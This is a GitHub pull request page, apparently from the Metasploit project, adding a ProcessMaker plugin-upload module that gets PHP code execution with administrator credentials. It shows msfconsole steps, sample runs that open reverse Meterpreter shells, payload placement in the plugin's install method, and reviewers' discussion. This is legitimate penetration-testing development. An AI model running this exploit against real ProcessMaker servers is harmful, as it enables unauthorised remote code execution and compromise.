Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ProcessMaker Plugin Upload module #8539

Merged
merged 7 commits into from Apr 4, 2018

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Jun 10, 2017

This PR adds an exploit for ProcessMaker.

    This module will generate and upload a plugin to ProcessMaker
    resulting in execution of PHP code as the web server user.

    Credentials for a valid user account with Administrator roles
    is required to run this module.

    This module has been tested successfully on ProcessMaker
    versions 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0 on Windows 7 SP 1;
    and version 3.2.0 on Debian Linux 8.

Verification

  • Start msfconsole
  • use exploit/multi/http/processmaker_plugin_upload
  • set rhost <RHOST>
  • set username <USERNAME>
  • set password <PASSWORD>
  • set workspace <WORKSPACE>
  • run
  • Verify you get a session

Example Output

msf exploit(processmaker_plugin_upload) > run

[*] Started reverse TCP handler on 172.16.191.181:4444 
[*] Authenticating as user 'admin'
[+] 172.16.191.202:8080 Authenticated as user 'admin'
[*] 172.16.191.202:8080 Uploading plugin 'zqkMpDOiIlNEvhkNnV' (23552 bytes)
[*] Sending stage (33986 bytes) to 172.16.191.202
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.202:36592) at 2017-06-10 04:21:25 -0400
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV-.tar
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV.php
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV/class.zqkMpDOiIlNEvhkNnV.php

meterpreter > getuid
Server username: user (1000)
meterpreter > sysinfo 
Computer    : debian
OS          : Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64
Meterpreter : php/linux
meterpreter > exit

Installation

Source and Installers:

register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
# uncomment when cleanup of folders is supported
# register_folder_for_cleanup "#{upload_dir}#{@plugin_name}"
Copy link
Contributor Author

@bcoles bcoles Jun 10, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wvu-r7

Copy link
Contributor

@wvu wvu Jun 10, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bumping #8018.

public function setup() {}
public function install() { #{payload.encoded} }
public function enable() {}
public function disable() {}
Copy link
Contributor Author

@bcoles bcoles Jun 10, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found the best place to put the payload was in the install method.

Putting the payload in the enable method requires an extra HTTP request to trigger the payload; and also increases the chances something could go wrong if the code path to enable a module is changed in the future.

Putting the payload in the disable method is nice, because this method gets called automatically when we remove the plugin during cleanup. Unfortunately this is also problematic, because every attempt to remove the plugin calls the disable method, triggering the payload. This prevents the cleanup method from successfully removing the plugin from the web interface.

else
print_warning "#{peer} Unexpected reply"
end
end
Copy link
Contributor Author

@bcoles bcoles Jun 10, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Although this code block isn't ideal, triggering the payload during plugin installation was the best approach as per comments below.

@brandonprry
Copy link
Contributor

@brandonprry brandonprry commented Jun 24, 2017

Testing this

@brandonprry
Copy link
Contributor

@brandonprry brandonprry commented Jun 24, 2017

This works for me.

msf > use exploit/multi/http/processmaker_plugin_upload 
msf exploit(processmaker_plugin_upload) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(processmaker_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(processmaker_plugin_upload) > set PASSWORD bitnami
PASSWORD => bitnami
msf exploit(processmaker_plugin_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Authenticating as user 'admin'
[+] 192.168.56.101:80 Authenticated as user 'admin'
[*] 192.168.56.101:80 Uploading plugin 'AWJsFsAPWQpGbNyTDdV' (23552 bytes)
[*] Sending stage (33986 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:36410) at 2017-06-24 11:41:11 -0500
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV-.tar
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV.php
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV/class.AWJsFsAPWQpGbNyTDdV.php

meterpreter > getuid
Server username: daemon (1)
meterpreter > 

'cookie' => @cookie,
'vars_post' => vars_post

if !res
Copy link
Contributor

@brandonprry brandonprry Jun 24, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think unless is preferred.

# ProcessMaker 1.x requires "-" after the plugin name in the file name
fname = "#{plugin_name}-.tar"

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
Copy link
Contributor

@brandonprry brandonprry Jun 24, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not use Rex::MIME::Message?

Copy link
Contributor Author

@bcoles bcoles Jun 25, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've had issues with 0x0D in the past.

I don't remember if that was an issue here - I might have just assumed Rex::MIME::Message would be problematic.

Copy link
Contributor Author

@bcoles bcoles Jun 28, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's worth noting that there's no (feasible) way to control the binary data to prevent use of 0x0D as the post data is a generated TAR archive. It is not subject to BadChars restrictions.

@busterb busterb added the module label Jul 7, 2017
@sempervictus
Copy link
Contributor

@sempervictus sempervictus commented Jul 11, 2017

@bcoles: for a trophy wife, you sure as hell pr like a champ.
I think some/lots of this belongs in lib... Wanna take a stab at the ecosystem past the use case ;-)?

@bcoles
Copy link
Contributor Author

@bcoles bcoles commented Jul 11, 2017

@sempervictus I don't understand.

This code isn't likely to be re-used - what part of this should belong in ./lib/ ?

@sempervictus
Copy link
Contributor

@sempervictus sempervictus commented Jul 12, 2017

@bcoles: I hit the wrong PR I'd on that, sorry. Comment stands alone though - you implement a lot of useful functionality

@bcoles
Copy link
Contributor Author

@bcoles bcoles commented Jul 12, 2017

This module is made more useful by these bugs (currently un-patched):

@bcoles
Copy link
Contributor Author

@bcoles bcoles commented Aug 14, 2017

This PR is blocked on #8018 to add a reg_dir_for_cleanup method.

@busterb
Copy link
Contributor

@busterb busterb commented Aug 20, 2017

sounds like reg_dir_for_cleanup ought to be next on the hit list

@bcoles
Copy link
Contributor Author

@bcoles bcoles commented Feb 2, 2018

Bump

sempervictus
Copy link
Contributor

@sempervictus sempervictus commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh fun. Why a lib require in a module?

bcoles
Copy link
Contributor Author

@bcoles bcoles commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@sempervictus feedback from @Chiggins indicated that the following error occurs without the require

error

I'm not sure why, as I tested with and without the require and the module works in both instances for me, on latest msf5 dev branch.

I opted to add the require, as the modules/auxiliary/admin/http/telpho10_credential_dump.rb module also makes use of Gem::Package::TarReader, like this module does, and that module also includes the require.

Chiggins
Copy link
Contributor

@Chiggins Chiggins commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah I'm not a big fan of requiring a library inside a module, but if that's the specialized case with this then ¯_(ツ)_/¯

sempervictus
Copy link
Contributor

@sempervictus sempervictus commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If its ok with everyone, let's move the require somewhere into a higher level mixin if we can or just use a more common archive parser (Rex has some, right?). I can't tell you how many times I messed something up having a req in my plugins and expecting it to have already been spun up when the module leader got to something. Pretty sure I've borked PRs when upstreaming that way too.

bcoles
Copy link
Contributor Author

@bcoles bcoles commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree with not including library requirements in modules. However, chiggins volunteered to manage this PR, and given the exploit failed for him that didn't leave me much choice.

No, Rex does not have a Tar archive parser.

sempervictus
Copy link
Contributor

@sempervictus sempervictus commented on f98b4b0 Feb 22, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, we should probably make a generic Rex archive module, a d bloody add fastlib to it :-)

bcoles
Copy link
Contributor Author

@bcoles bcoles commented on f98b4b0 Mar 1, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree, Rex should handle creation of TAR archives. Unfortunately I don't have time to implement this. It's also outside the scope of this PR.

@bcoles bcoles added the delayed label Mar 22, 2018
@bcoles bcoles removed the delayed label Apr 3, 2018
@Chiggins Chiggins merged commit dfb3a42 into rapid7:master Apr 4, 2018
3 checks passed
@bcoles bcoles deleted the processmaker_plugin_upload branch Apr 4, 2018
@bwatters-r7
Copy link
Contributor

@bwatters-r7 bwatters-r7 commented Apr 6, 2018

Release Notes

The exploits/multi/http/processmaker_plugin_upload module has been added to the framework. It generates and uploads a plugin to ProcessMaker to execute PHP code as the web server user. Credentials for a valid Administrator account are required to exploit this vulnerability.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants